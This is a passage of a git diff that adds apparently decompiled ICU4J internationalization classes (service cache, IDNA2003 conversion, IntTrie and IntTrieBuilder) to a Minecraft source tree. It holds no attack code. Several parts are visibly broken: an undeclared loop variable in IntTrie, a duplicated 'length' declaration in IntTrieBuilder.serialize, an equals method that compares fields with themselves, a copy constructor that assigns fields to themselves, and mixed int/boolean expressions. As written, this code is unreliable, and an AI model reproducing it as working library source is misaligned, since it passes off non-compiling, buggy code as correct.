+            cacheDescriptorList = new ArrayList(5);
+          }
+          cacheDescriptorList.add(currentDescriptor);
+        }
+        while (key.fallback());
+        label704:
+        if (result != null) {
+          if (putInCache) {
+            if (DEBUG) System.out.println("caching '" + actualDescriptor + "'");
+            cache.put(actualDescriptor, result);
+            if (cacheDescriptorList != null) {
+              for (String desc : cacheDescriptorList) {
+                if (DEBUG) { System.out.println(name + " adding descriptor: '" + desc + "' for actual: '" + actualDescriptor + "'");
+                }
+                cache.put(desc, result);
+              }
+            }
+            
+
+
+
+            cacheref = cref;
+          }
+          
+          if (actualReturn != null)
+          {
+            if (actualDescriptor.indexOf("/") == 0) {
+              actualReturn[0] = actualDescriptor.substring(1);
+            } else {
+              actualReturn[0] = actualDescriptor;
+            }
+          }
+          
+          if (DEBUG) { System.out.println("found in service: " + name);
+          }
+          return service;
+        }
+      }
+      finally {
+        factoryLock.releaseRead();
+      }
+    }
+    
+    if (DEBUG) { System.out.println("not found in service: " + name);
+    }
+    return handleDefault(key, actualReturn);
+  }
+  
+  private static final class CacheEntry
+  {
+    final String actualDescriptor;
+    final Object service;
+    
+    CacheEntry(String actualDescriptor, Object service)
+    {
+      this.actualDescriptor = actualDescriptor;
+      this.service = service;
+    }
+  }
+  
+
+
+
+
+  protected Object handleDefault(Key key, String[] actualIDReturn)
+  {
+    return null;
+  }
+  
+
+
+
+  public Set<String> getVisibleIDs()
+  {
+    return getVisibleIDs(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Set<String> getVisibleIDs(String matchID)
+  {
+    Set<String> result = getVisibleIDMap().keySet();
+    
+    Key fallbackKey = createKey(matchID);
+    
+    if (fallbackKey != null) {
+      Set<String> temp = new HashSet(result.size());
+      for (String id : result) {
+        if (fallbackKey.isFallbackOf(id)) {
+          temp.add(id);
+        }
+      }
+      result = temp;
+    }
+    return result;
+  }
+  
+
+
+  private Map<String, Factory> getVisibleIDMap()
+  {
+    Map<String, Factory> idcache = null;
+    SoftReference<Map<String, Factory>> ref = idref;
+    if (ref != null) {
+      idcache = (Map)ref.get();
+    }
+    while (idcache == null) {
+      synchronized (this) {
+        if ((ref == idref) || (idref == null))
+        {
+          try
+          {
+            factoryLock.acquireRead();
+            idcache = new HashMap();
+            ListIterator<Factory> lIter = factories.listIterator(factories.size());
+            while (lIter.hasPrevious()) {
+              Factory f = (Factory)lIter.previous();
+              f.updateVisibleIDs(idcache);
+            }
+            idcache = Collections.unmodifiableMap(idcache);
+            idref = new SoftReference(idcache);
+          }
+          finally {
+            factoryLock.releaseRead();
+          }
+          
+        }
+        else
+        {
+          ref = idref;
+          idcache = (Map)ref.get();
+        }
+      }
+    }
+    
+    return idcache;
+  }
+  
+
+
+
+
+  public String getDisplayName(String id)
+  {
+    return getDisplayName(id, ULocale.getDefault(ULocale.Category.DISPLAY));
+  }
+  
+
+
+
+
+  public String getDisplayName(String id, ULocale locale)
+  {
+    Map<String, Factory> m = getVisibleIDMap();
+    Factory f = (Factory)m.get(id);
+    if (f != null) {
+      return f.getDisplayName(id, locale);
+    }
+    
+    Key key = createKey(id);
+    while (key.fallback()) {
+      f = (Factory)m.get(key.currentID());
+      if (f != null) {
+        return f.getDisplayName(id, locale);
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+  public SortedMap<String, String> getDisplayNames()
+  {
+    ULocale locale = ULocale.getDefault(ULocale.Category.DISPLAY);
+    return getDisplayNames(locale, null, null);
+  }
+  
+
+
+
+  public SortedMap<String, String> getDisplayNames(ULocale locale)
+  {
+    return getDisplayNames(locale, null, null);
+  }
+  
+
+
+
+  public SortedMap<String, String> getDisplayNames(ULocale locale, Comparator<Object> com)
+  {
+    return getDisplayNames(locale, com, null);
+  }
+  
+
+
+
+  public SortedMap<String, String> getDisplayNames(ULocale locale, String matchID)
+  {
+    return getDisplayNames(locale, null, matchID);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public SortedMap<String, String> getDisplayNames(ULocale locale, Comparator<Object> com, String matchID)
+  {
+    SortedMap<String, String> dncache = null;
+    LocaleRef ref = dnref;
+    
+    if (ref != null) {
+      dncache = ref.get(locale, com);
+    }
+    
+    while (dncache == null) {
+      synchronized (this) {
+        if ((ref == dnref) || (dnref == null)) {
+          dncache = new TreeMap(com);
+          
+          Map<String, Factory> m = getVisibleIDMap();
+          Iterator<Map.Entry<String, Factory>> ei = m.entrySet().iterator();
+          while (ei.hasNext()) {
+            Map.Entry<String, Factory> e = (Map.Entry)ei.next();
+            String id = (String)e.getKey();
+            Factory f = (Factory)e.getValue();
+            dncache.put(f.getDisplayName(id, locale), id);
+          }
+          
+          dncache = Collections.unmodifiableSortedMap(dncache);
+          dnref = new LocaleRef(dncache, locale, com);
+        } else {
+          ref = dnref;
+          dncache = ref.get(locale, com);
+        }
+      }
+    }
+    
+    Key matchKey = createKey(matchID);
+    if (matchKey == null) {
+      return dncache;
+    }
+    
+    SortedMap<String, String> result = new TreeMap(dncache);
+    Iterator<Map.Entry<String, String>> iter = result.entrySet().iterator();
+    while (iter.hasNext()) {
+      Map.Entry<String, String> e = (Map.Entry)iter.next();
+      if (!matchKey.isFallbackOf((String)e.getValue())) {
+        iter.remove();
+      }
+    }
+    return result;
+  }
+  
+  private static class LocaleRef
+  {
+    private final ULocale locale;
+    private SoftReference<SortedMap<String, String>> ref;
+    private Comparator<Object> com;
+    
+    LocaleRef(SortedMap<String, String> dnCache, ULocale locale, Comparator<Object> com)
+    {
+      this.locale = locale;
+      this.com = com;
+      ref = new SoftReference(dnCache);
+    }
+    
+    SortedMap<String, String> get(ULocale loc, Comparator<Object> comp)
+    {
+      SortedMap<String, String> m = (SortedMap)ref.get();
+      if ((m != null) && (locale.equals(loc)) && ((com == comp) || ((com != null) && (com.equals(comp)))))
+      {
+
+
+        return m;
+      }
+      return null;
+    }
+  }
+  
+
+
+
+
+  public final List<Factory> factories()
+  {
+    try
+    {
+      factoryLock.acquireRead();
+      return new ArrayList(factories);
+    }
+    finally {
+      factoryLock.releaseRead();
+    }
+  }
+  
+
+
+
+  public Factory registerObject(Object obj, String id)
+  {
+    return registerObject(obj, id, true);
+  }
+  
+
+
+
+
+  public Factory registerObject(Object obj, String id, boolean visible)
+  {
+    String canonicalID = createKey(id).canonicalID();
+    return registerFactory(new SimpleFactory(obj, canonicalID, visible));
+  }
+  
+
+
+
+
+  public final Factory registerFactory(Factory factory)
+  {
+    if (factory == null) {
+      throw new NullPointerException();
+    }
+    try {
+      factoryLock.acquireWrite();
+      factories.add(0, factory);
+      clearCaches();
+    }
+    finally {
+      factoryLock.releaseWrite();
+    }
+    notifyChanged();
+    return factory;
+  }
+  
+
+
+
+
+  public final boolean unregisterFactory(Factory factory)
+  {
+    if (factory == null) {
+      throw new NullPointerException();
+    }
+    
+    boolean result = false;
+    try {
+      factoryLock.acquireWrite();
+      if (factories.remove(factory)) {
+        result = true;
+        clearCaches();
+      }
+    }
+    finally {
+      factoryLock.releaseWrite();
+    }
+    
+    if (result) {
+      notifyChanged();
+    }
+    return result;
+  }
+  
+
+
+  public final void reset()
+  {
+    try
+    {
+      factoryLock.acquireWrite();
+      reInitializeFactories();
+      clearCaches();
+    }
+    finally {
+      factoryLock.releaseWrite();
+    }
+    notifyChanged();
+  }
+  
+
+
+
+
+
+
+  protected void reInitializeFactories()
+  {
+    factories.clear();
+  }
+  
+
+
+
+  public boolean isDefault()
+  {
+    return factories.size() == defaultSize;
+  }
+  
+
+
+
+  protected void markDefault()
+  {
+    defaultSize = factories.size();
+  }
+  
+
+
+
+
+  public Key createKey(String id)
+  {
+    return id == null ? null : new Key(id);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected void clearCaches()
+  {
+    cacheref = null;
+    idref = null;
+    dnref = null;
+  }
+  
+
+
+
+
+
+  protected void clearServiceCache()
+  {
+    cacheref = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected boolean acceptsListener(EventListener l)
+  {
+    return l instanceof ServiceListener;
+  }
+  
+
+
+
+  protected void notifyListener(EventListener l)
+  {
+    ((ServiceListener)l).serviceChanged(this);
+  }
+  
+
+
+
+  public String stats()
+  {
+    ICURWLock.Stats stats = factoryLock.resetStats();
+    if (stats != null) {
+      return stats.toString();
+    }
+    return "no stats";
+  }
+  
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+  public String toString()
+  {
+    return super.toString() + "{" + name + "}";
+  }
+  
+  public static abstract interface ServiceListener
+    extends EventListener
+  {
+    public abstract void serviceChanged(ICUService paramICUService);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/IDNA2003.java b/src/minecraft/com/ibm/icu/impl/IDNA2003.java
new file mode 100644
index 0000000..8928f1a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/IDNA2003.java
@@ -0,0 +1,436 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.StringPrep;
+import com.ibm.icu.text.StringPrepParseException;
+import com.ibm.icu.text.UCharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IDNA2003
+{
+  private static char[] ACE_PREFIX = { 'x', 'n', '-', '-' };
+  
+  private static final int MAX_LABEL_LENGTH = 63;
+  private static final int HYPHEN = 45;
+  private static final int CAPITAL_A = 65;
+  private static final int CAPITAL_Z = 90;
+  private static final int LOWER_CASE_DELTA = 32;
+  private static final int FULL_STOP = 46;
+  private static final int MAX_DOMAIN_NAME_LENGTH = 255;
+  
+  public IDNA2003() {}
+  
+  private static final StringPrep namePrep = StringPrep.getInstance(0);
+  
+  private static boolean startsWithPrefix(StringBuffer src) {
+    boolean startsWithPrefix = true;
+    
+    if (src.length() < ACE_PREFIX.length) {
+      return false;
+    }
+    for (int i = 0; i < ACE_PREFIX.length; i++) {
+      if (toASCIILower(src.charAt(i)) != ACE_PREFIX[i]) {
+        startsWithPrefix = false;
+      }
+    }
+    return startsWithPrefix;
+  }
+  
+  private static char toASCIILower(char ch) {
+    if (('A' <= ch) && (ch <= 'Z')) {
+      return (char)(ch + ' ');
+    }
+    return ch;
+  }
+  
+  private static StringBuffer toASCIILower(CharSequence src) {
+    StringBuffer dest = new StringBuffer();
+    for (int i = 0; i < src.length(); i++) {
+      dest.append(toASCIILower(src.charAt(i)));
+    }
+    return dest;
+  }
+  
+
+  private static int compareCaseInsensitiveASCII(StringBuffer s1, StringBuffer s2)
+  {
+    for (int i = 0;; i++)
+    {
+      if (i == s1.length()) {
+        return 0;
+      }
+      
+      char c1 = s1.charAt(i);
+      char c2 = s2.charAt(i);
+      
+
+      if (c1 != c2) {
+        int rc = toASCIILower(c1) - toASCIILower(c2);
+        if (rc != 0) {
+          return rc;
+        }
+      }
+    }
+  }
+  
+  private static int getSeparatorIndex(char[] src, int start, int limit) {
+    for (; start < limit; start++) {
+      if (isLabelSeparator(src[start])) {
+        return start;
+      }
+    }
+    
+    return start;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean isLDHChar(int ch)
+  {
+    if (ch > 122) {
+      return false;
+    }
+    
+    if ((ch == 45) || ((48 <= ch) && (ch <= 57)) || ((65 <= ch) && (ch <= 90)) || ((97 <= ch) && (ch <= 122)))
+    {
+
+
+
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  private static boolean isLabelSeparator(int ch)
+  {
+    switch (ch) {
+    case 46: 
+    case 12290: 
+    case 65294: 
+    case 65377: 
+      return true;
+    }
+    return false;
+  }
+  
+
+  public static StringBuffer convertToASCII(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    boolean[] caseFlags = null;
+    
+
+    boolean srcIsASCII = true;
+    
+    boolean srcIsLDH = true;
+    
+
+    boolean useSTD3ASCIIRules = (options & 0x2) != 0;
+    
+    int ch;
+    while ((ch = src.next()) != -1) {
+      if (ch > 127) {
+        srcIsASCII = false;
+      }
+    }
+    int failPos = -1;
+    src.setToStart();
+    StringBuffer processOut = null;
+    
+    if (!srcIsASCII)
+    {
+      processOut = namePrep.prepare(src, options);
+    } else {
+      processOut = new StringBuffer(src.getText());
+    }
+    int poLen = processOut.length();
+    
+    if (poLen == 0) {
+      throw new StringPrepParseException("Found zero length lable after NamePrep.", 10);
+    }
+    StringBuffer dest = new StringBuffer();
+    
+
+    srcIsASCII = true;
+    
+
+    for (int j = 0; j < poLen; j++) {
+      ch = processOut.charAt(j);
+      if (ch > 127) {
+        srcIsASCII = false;
+      } else if (!isLDHChar(ch))
+      {
+
+
+        srcIsLDH = false;
+        failPos = j;
+      }
+    }
+    
+    if (useSTD3ASCIIRules == true)
+    {
+      if ((!srcIsLDH) || (processOut.charAt(0) == '-') || (processOut.charAt(processOut.length() - 1) == '-'))
+      {
+
+
+
+        if (!srcIsLDH) {
+          throw new StringPrepParseException("The input does not conform to the STD 3 ASCII rules", 5, processOut.toString(), failPos > 0 ? failPos - 1 : failPos);
+        }
+        
+
+        if (processOut.charAt(0) == '-') {
+          throw new StringPrepParseException("The input does not conform to the STD 3 ASCII rules", 5, processOut.toString(), 0);
+        }
+        
+
+        throw new StringPrepParseException("The input does not conform to the STD 3 ASCII rules", 5, processOut.toString(), poLen > 0 ? poLen - 1 : poLen);
+      }
+    }
+    
+
+
+
+
+    if (srcIsASCII) {
+      dest = processOut;
+
+    }
+    else if (!startsWithPrefix(processOut))
+    {
+
+      caseFlags = new boolean[poLen];
+      
+      StringBuilder punyout = Punycode.encode(processOut, caseFlags);
+      
+
+      StringBuffer lowerOut = toASCIILower(punyout);
+      
+
+      dest.append(ACE_PREFIX, 0, ACE_PREFIX.length);
+      
+      dest.append(lowerOut);
+    }
+    else {
+      throw new StringPrepParseException("The input does not start with the ACE Prefix.", 6, processOut.toString(), 0);
+    }
+    
+
+    if (dest.length() > 63) {
+      throw new StringPrepParseException("The labels in the input are too long. Length > 63.", 8, dest.toString(), 0);
+    }
+    
+    return dest;
+  }
+  
+  public static StringBuffer convertIDNToASCII(String src, int options)
+    throws StringPrepParseException
+  {
+    char[] srcArr = src.toCharArray();
+    StringBuffer result = new StringBuffer();
+    int sepIndex = 0;
+    int oldSepIndex = 0;
+    for (;;) {
+      sepIndex = getSeparatorIndex(srcArr, sepIndex, srcArr.length);
+      String label = new String(srcArr, oldSepIndex, sepIndex - oldSepIndex);
+      
+      if ((label.length() != 0) || (sepIndex != srcArr.length)) {
+        UCharacterIterator iter = UCharacterIterator.getInstance(label);
+        result.append(convertToASCII(iter, options));
+      }
+      if (sepIndex == srcArr.length) {
+        break;
+      }
+      
+
+      sepIndex++;
+      oldSepIndex = sepIndex;
+      result.append('.');
+    }
+    if (result.length() > 255) {
+      throw new StringPrepParseException("The output exceed the max allowed length.", 11);
+    }
+    return result;
+  }
+  
+  public static StringBuffer convertToUnicode(UCharacterIterator src, int options)
+    throws StringPrepParseException
+  {
+    boolean[] caseFlags = null;
+    
+
+    boolean srcIsASCII = true;
+    
+
+
+
+
+
+
+
+    int saveIndex = src.getIndex();
+    int ch;
+    while ((ch = src.next()) != -1) {
+      if (ch > 127) {
+        srcIsASCII = false;
+      }
+    }
+    
+
+    StringBuffer processOut;
+    
+    if (!srcIsASCII) {
+      try
+      {
+        src.setIndex(saveIndex);
+        processOut = namePrep.prepare(src, options);
+      } catch (StringPrepParseException ex) {
+        return new StringBuffer(src.getText());
+      }
+      
+    }
+    else {
+      processOut = new StringBuffer(src.getText());
+    }
+    
+
+
+
+
+
+
+
+    if (startsWithPrefix(processOut)) {
+      StringBuffer decodeOut = null;
+      
+
+      String temp = processOut.substring(ACE_PREFIX.length, processOut.length());
+      
+      try
+      {
+        decodeOut = new StringBuffer(Punycode.decode(temp, caseFlags));
+      } catch (StringPrepParseException e) {
+        decodeOut = null;
+      }
+      
+
+      if (decodeOut != null) {
+        StringBuffer toASCIIOut = convertToASCII(UCharacterIterator.getInstance(decodeOut), options);
+        
+
+        if (compareCaseInsensitiveASCII(processOut, toASCIIOut) != 0)
+        {
+
+          decodeOut = null;
+        }
+      }
+      
+
+      if (decodeOut != null) {
+        return decodeOut;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    return new StringBuffer(src.getText());
+  }
+  
+  public static StringBuffer convertIDNToUnicode(String src, int options)
+    throws StringPrepParseException
+  {
+    char[] srcArr = src.toCharArray();
+    StringBuffer result = new StringBuffer();
+    int sepIndex = 0;
+    int oldSepIndex = 0;
+    for (;;) {
+      sepIndex = getSeparatorIndex(srcArr, sepIndex, srcArr.length);
+      String label = new String(srcArr, oldSepIndex, sepIndex - oldSepIndex);
+      if ((label.length() == 0) && (sepIndex != srcArr.length)) {
+        throw new StringPrepParseException("Found zero length lable after NamePrep.", 10);
+      }
+      UCharacterIterator iter = UCharacterIterator.getInstance(label);
+      result.append(convertToUnicode(iter, options));
+      if (sepIndex == srcArr.length) {
+        break;
+      }
+      
+      result.append(srcArr[sepIndex]);
+      
+      sepIndex++;
+      oldSepIndex = sepIndex;
+    }
+    if (result.length() > 255) {
+      throw new StringPrepParseException("The output exceed the max allowed length.", 11);
+    }
+    return result;
+  }
+  
+  public static int compare(String s1, String s2, int options) throws StringPrepParseException {
+    StringBuffer s1Out = convertIDNToASCII(s1, options);
+    StringBuffer s2Out = convertIDNToASCII(s2, options);
+    return compareCaseInsensitiveASCII(s1Out, s2Out);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/IllegalIcuArgumentException.java b/src/minecraft/com/ibm/icu/impl/IllegalIcuArgumentException.java
new file mode 100644
index 0000000..eafe5cc
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/IllegalIcuArgumentException.java
@@ -0,0 +1,31 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+public class IllegalIcuArgumentException
+  extends IllegalArgumentException
+{
+  private static final long serialVersionUID = 3789261542830211225L;
+  
+
+
+
+  public IllegalIcuArgumentException(String errorMessage)
+  {
+    super(errorMessage);
+  }
+  
+  public IllegalIcuArgumentException(Throwable cause) {
+    super(cause);
+  }
+  
+  public IllegalIcuArgumentException(String errorMessage, Throwable cause) {
+    super(errorMessage, cause);
+  }
+  
+  public synchronized IllegalIcuArgumentException initCause(Throwable cause) {
+    return (IllegalIcuArgumentException)super.initCause(cause);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/IntTrie.java b/src/minecraft/com/ibm/icu/impl/IntTrie.java
new file mode 100644
index 0000000..1097066
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/IntTrie.java
@@ -0,0 +1,327 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IntTrie
+  extends Trie
+{
+  private int m_initialValue_;
+  private int[] m_data_;
+  
+  public IntTrie(InputStream inputStream, Trie.DataManipulate dataManipulate)
+    throws IOException
+  {
+    super(inputStream, dataManipulate);
+    if (!isIntTrie()) {
+      throw new IllegalArgumentException("Data given does not belong to a int trie.");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public IntTrie(int initialValue, int leadUnitValue, Trie.DataManipulate dataManipulate)
+  {
+    super(new char['ࠠ'], 512, dataManipulate);
+    
+
+
+    int latin1Length;
+    
+
+
+    int dataLength = latin1Length = 'Ā';
+    if (leadUnitValue != initialValue) {
+      dataLength += 32;
+    }
+    m_data_ = new int[dataLength];
+    m_dataLength_ = dataLength;
+    
+    m_initialValue_ = initialValue;
+    
+
+
+
+
+
+    for (int i = 0; i < latin1Length; i++) {
+      m_data_[i] = initialValue;
+    }
+    
+    if (leadUnitValue != initialValue)
+    {
+      char block = (char)(latin1Length >> 2);
+      i = 1728;
+      int limit = 1760;
+      for (; i < limit; i++) {
+        m_index_[i] = block;
+      }
+      
+
+      limit = latin1Length + 32;
+      for (i = latin1Length; i < limit; i++) {
+        m_data_[i] = leadUnitValue;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int getCodePointValue(int ch)
+  {
+    if ((0 <= ch) && (ch < 55296))
+    {
+      int offset = (m_index_[(ch >> 5)] << '\002') + (ch & 0x1F);
+      
+      return m_data_[offset];
+    }
+    
+
+    int offset = getCodePointOffset(ch);
+    return offset >= 0 ? m_data_[offset] : m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final int getLeadValue(char ch)
+  {
+    return m_data_[getLeadOffset(ch)];
+  }
+  
+
+
+
+
+
+
+
+  public final int getBMPValue(char ch)
+  {
+    return m_data_[getBMPOffset(ch)];
+  }
+  
+
+
+
+
+
+  public final int getSurrogateValue(char lead, char trail)
+  {
+    if ((!UTF16.isLeadSurrogate(lead)) || (!UTF16.isTrailSurrogate(trail))) {
+      throw new IllegalArgumentException("Argument characters do not form a supplementary character");
+    }
+    
+
+    int offset = getSurrogateOffset(lead, trail);
+    
+
+    if (offset > 0) {
+      return m_data_[offset];
+    }
+    
+
+    return m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+
+  public final int getTrailValue(int leadvalue, char trail)
+  {
+    if (m_dataManipulate_ == null) {
+      throw new NullPointerException("The field DataManipulate in this Trie is null");
+    }
+    
+    int offset = m_dataManipulate_.getFoldingOffset(leadvalue);
+    if (offset > 0) {
+      return m_data_[getRawOffset(offset, (char)(trail & 0x3FF))];
+    }
+    
+    return m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+  public final int getLatin1LinearValue(char ch)
+  {
+    return m_data_[(' ' + ch)];
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    boolean result = super.equals(other);
+    if ((result) && ((other instanceof IntTrie))) {
+      IntTrie othertrie = (IntTrie)other;
+      if ((m_initialValue_ != m_initialValue_) || (!Arrays.equals(m_data_, m_data_)))
+      {
+        return false;
+      }
+      return true;
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final void unserialize(InputStream inputStream)
+    throws IOException
+  {
+    super.unserialize(inputStream);
+    
+    m_data_ = new int[m_dataLength_];
+    DataInputStream input = new DataInputStream(inputStream);
+    for (int i = 0; i < m_dataLength_; i++) {
+      m_data_[i] = input.readInt();
+    }
+    m_initialValue_ = m_data_[0];
+  }
+  
+
+
+
+
+
+
+  protected final int getSurrogateOffset(char lead, char trail)
+  {
+    if (m_dataManipulate_ == null) {
+      throw new NullPointerException("The field DataManipulate in this Trie is null");
+    }
+    
+
+    int offset = m_dataManipulate_.getFoldingOffset(getLeadValue(lead));
+    
+
+    if (offset > 0) {
+      return getRawOffset(offset, (char)(trail & 0x3FF));
+    }
+    
+
+
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  protected final int getValue(int index)
+  {
+    return m_data_[index];
+  }
+  
+
+
+
+
+  protected final int getInitialValue()
+  {
+    return m_initialValue_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  IntTrie(char[] index, int[] data, int initialvalue, int options, Trie.DataManipulate datamanipulate)
+  {
+    super(index, options, datamanipulate);
+    m_data_ = data;
+    m_dataLength_ = m_data_.length;
+    m_initialValue_ = initialvalue;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/IntTrieBuilder.java b/src/minecraft/com/ibm/icu/impl/IntTrieBuilder.java
new file mode 100644
index 0000000..82c7a7b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/IntTrieBuilder.java
@@ -0,0 +1,790 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UTF16;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IntTrieBuilder
+  extends TrieBuilder
+{
+  protected int[] m_data_;
+  protected int m_initialValue_;
+  private int m_leadUnitValue_;
+  
+  public IntTrieBuilder(IntTrieBuilder table)
+  {
+    super(table);
+    m_data_ = new int[m_dataCapacity_];
+    System.arraycopy(m_data_, 0, m_data_, 0, m_dataLength_);
+    m_initialValue_ = m_initialValue_;
+    m_leadUnitValue_ = m_leadUnitValue_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public IntTrieBuilder(int[] aliasdata, int maxdatalength, int initialvalue, int leadunitvalue, boolean latin1linear)
+  {
+    if ((maxdatalength < 32) || ((latin1linear) && (maxdatalength < 1024)))
+    {
+      throw new IllegalArgumentException("Argument maxdatalength is too small");
+    }
+    
+
+    if (aliasdata != null) {
+      m_data_ = aliasdata;
+    }
+    else {
+      m_data_ = new int[maxdatalength];
+    }
+    
+
+    int j = 32;
+    
+    if (latin1linear)
+    {
+
+
+
+      int i = 0;
+      
+      do
+      {
+        m_index_[(i++)] = j;
+        j += 32;
+      } while (i < 8);
+    }
+    
+    m_dataLength_ = j;
+    
+    Arrays.fill(m_data_, 0, m_dataLength_, initialvalue);
+    m_initialValue_ = initialvalue;
+    m_leadUnitValue_ = leadunitvalue;
+    m_dataCapacity_ = maxdatalength;
+    m_isLatin1Linear_ = latin1linear;
+    m_isCompacted_ = false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getValue(int ch)
+  {
+    if ((m_isCompacted_) || (ch > 1114111) || (ch < 0)) {
+      return 0;
+    }
+    
+    int block = m_index_[(ch >> 5)];
+    return m_data_[(Math.abs(block) + (ch & 0x1F))];
+  }
+  
+
+
+
+
+
+
+
+
+  public int getValue(int ch, boolean[] inBlockZero)
+  {
+    if ((m_isCompacted_) || (ch > 1114111) || (ch < 0)) {
+      if (inBlockZero != null) {
+        inBlockZero[0] = true;
+      }
+      return 0;
+    }
+    
+    int block = m_index_[(ch >> 5)];
+    if (inBlockZero != null) {
+      inBlockZero[0] = (block == 0 ? 1 : false);
+    }
+    return m_data_[(Math.abs(block) + (ch & 0x1F))];
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean setValue(int ch, int value)
+  {
+    if ((m_isCompacted_) || (ch > 1114111) || (ch < 0)) {
+      return false;
+    }
+    
+    int block = getDataBlock(ch);
+    if (block < 0) {
+      return false;
+    }
+    
+    m_data_[(block + (ch & 0x1F))] = value;
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public IntTrie serialize(TrieBuilder.DataManipulate datamanipulate, Trie.DataManipulate triedatamanipulate)
+  {
+    if (datamanipulate == null) {
+      throw new IllegalArgumentException("Parameters can not be null");
+    }
+    
+
+    if (!m_isCompacted_)
+    {
+      compact(false);
+      
+      fold(datamanipulate);
+      
+      compact(true);
+      m_isCompacted_ = true;
+    }
+    
+    if (m_dataLength_ >= 262144) {
+      throw new ArrayIndexOutOfBoundsException("Data length too small");
+    }
+    
+    char[] index = new char[m_indexLength_];
+    int[] data = new int[m_dataLength_];
+    
+
+    for (int i = 0; i < m_indexLength_; i++) {
+      index[i] = ((char)(m_index_[i] >>> 2));
+    }
+    
+    System.arraycopy(m_data_, 0, data, 0, m_dataLength_);
+    
+    int options = 37;
+    options |= 0x100;
+    if (m_isLatin1Linear_) {
+      options |= 0x200;
+    }
+    return new IntTrie(index, data, m_initialValue_, options, triedatamanipulate);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int serialize(OutputStream os, boolean reduceTo16Bits, TrieBuilder.DataManipulate datamanipulate)
+    throws IOException
+  {
+    if (datamanipulate == null) {
+      throw new IllegalArgumentException("Parameters can not be null");
+    }
+    
+
+
+    if (!m_isCompacted_)
+    {
+      compact(false);
+      
+      fold(datamanipulate);
+      
+      compact(true);
+      m_isCompacted_ = true;
+    }
+    
+    int length;
+    
+    if (reduceTo16Bits) {
+      length = m_dataLength_ + m_indexLength_;
+    } else {
+      length = m_dataLength_;
+    }
+    if (length >= 262144) {
+      throw new ArrayIndexOutOfBoundsException("Data length too small");
+    }
+    
+
+
+
+
+
+    int length = 16 + 2 * m_indexLength_;
+    if (reduceTo16Bits) {
+      length += 2 * m_dataLength_;
+    } else {
+      length += 4 * m_dataLength_;
+    }
+    
+    if (os == null)
+    {
+      return length;
+    }
+    
+    DataOutputStream dos = new DataOutputStream(os);
+    dos.writeInt(1416784229);
+    
+    int options = 37;
+    if (!reduceTo16Bits) {
+      options |= 0x100;
+    }
+    if (m_isLatin1Linear_) {
+      options |= 0x200;
+    }
+    dos.writeInt(options);
+    
+    dos.writeInt(m_indexLength_);
+    dos.writeInt(m_dataLength_);
+    
+
+    if (reduceTo16Bits)
+    {
+      for (int i = 0; i < m_indexLength_; i++) {
+        int v = m_index_[i] + m_indexLength_ >>> 2;
+        dos.writeChar(v);
+      }
+      
+
+      for (int i = 0; i < m_dataLength_; i++) {
+        int v = m_data_[i] & 0xFFFF;
+        dos.writeChar(v);
+      }
+    }
+    else {
+      for (int i = 0; i < m_indexLength_; i++) {
+        int v = m_index_[i] >>> 2;
+        dos.writeChar(v);
+      }
+      
+
+      for (int i = 0; i < m_dataLength_; i++) {
+        dos.writeInt(m_data_[i]);
+      }
+    }
+    
+    return length;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean setRange(int start, int limit, int value, boolean overwrite)
+  {
+    if ((m_isCompacted_) || (start < 0) || (start > 1114111) || (limit < 0) || (limit > 1114112) || (start > limit))
+    {
+
+      return false;
+    }
+    
